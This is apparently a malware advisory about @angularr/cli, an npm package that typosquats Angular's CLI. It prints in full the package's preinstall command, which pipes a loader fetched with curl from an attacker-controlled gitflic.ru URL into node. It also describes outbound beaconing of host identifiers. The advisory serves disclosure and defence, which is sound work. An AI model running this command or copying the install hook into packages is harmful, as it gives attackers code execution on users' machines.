MAL-2026-17492 Malicious code in @angularr/cli (npm)

@angularr/[email protected] impersonates @angular/cli (it copies the code and metadata of @angular/cli, including the ng binary) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/cli and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

Package is published as @angularr/cli (double 'r') and copies @angular/cli's description, keywords, homepage, repository URL, README, and version string (22.2.1) to impersonate Angular's official CLI. package.json declares a preinstall lifecycle hook that pipes a remote JavaScript file into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. The fetched script is hosted on gitflic.ru (user 'hellscripter', unrelated to Angular's publisher), proxied through web.archive.org, is unpinned, has no integrity check, and is executed directly by the installer's node process. Any npm install @angularr/cli performs arbitrary code execution on the installer's host under the account running npm. src/analytics/analytics-collector.js additionally issues outbound ping/POST traffic via https.request carrying host identifiers.